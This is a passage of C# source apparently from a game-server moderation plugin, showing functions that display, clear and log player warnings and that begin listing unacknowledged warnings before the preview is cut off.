player.Reply($"<color=#DC143C>Warning ID: {warnId}</color>\n<size=12>{warning.Reason}\n\n<color=#A9A9A9>Date Issued: {warning.WarnDate}\nExpiry Date: {warning.ExpDate}</color></size>" + (config.System.ShowWhoIssued || HasPerm(player.Id, "admin") ? $"\n<color=#A9A9A9><size=12>Issued by: {warning.WarnedBy}</color></size>" : ""));
}
}
void ClearPlayerWarnings(IPlayer player, string adminName, string warnId) {
try {
var userData = GetPlayerData(Convert.ToUInt64(player.Id), player.Name);
if (userData == null) {
player.Reply($"{player.Name} does not have any warnings.");
return;
}
if (warnId == "all") {
foreach(var warning in userData.WarnData) {
UnfreezePlayer(player, Convert.ToInt32(warning.Key));
}
userData.WarnData.Clear();
userData.Points = 0;
player.Reply($"Cleared all of {player.Name} warnings and warning points.");
LogToFile("log", $"{adminName} cleared all of {player.Name} warnings", this);
}
else if(!userData.WarnData.ContainsKey(Convert.ToInt32(warnId))) {
player.Reply($"{player.Name} does not have warning #{warnId}");
}
else {
player.Reply($"Cleared {player.Name} warning #{warnId}.");
userData.WarnData.Remove(Convert.ToInt32(warnId));
UnfreezePlayer(player, Convert.ToInt32(warnId));
}
userData.Count = userData.WarnData.Count;
OnWarningsCleared(userData);
SaveData(ref Warnings, "SmartWarnings_PlayerData", player.Id);
}
catch (Exception ex) {
LogError($"[ClearPlayerWarnings] An unexpected error occurred while clearing {player.Id} warnings\n\n{ex}");
}
}
void ClearPlayerWarnings(IPlayer player, string logreason) {
var userData = GetPlayerData(Convert.ToUInt64(player.Id), player.Name);
userData.WarnData.Clear();
userData.Points = 0;
LogToFile("log", $"{logreason} - cleared all of {player.Name} warnings", this);
userData.Count = userData.WarnData.Count;
OnWarningsCleared(userData, true);
SaveData(ref Warnings, "SmartWarnings_PlayerData", player.Id);
}
private readonly Dictionary<string, int> queuedUnackWarnings = new Dictionary<string, int>();
void DisplayUnAcknowledgedWarnings(IPlayer player) {
try {
var userData = GetPlayerData(Convert.ToUInt64(player.Id), player.Name);
if(userData.WarnData == null) {
return;
}
if(userData.WarnData.Count < 1) {
return;
}
foreach (KeyValuePair<int, WarningData> entry in userData.WarnData) {
var warning = ent
// ... [Code preview truncated due to length. Full source in attached file] ...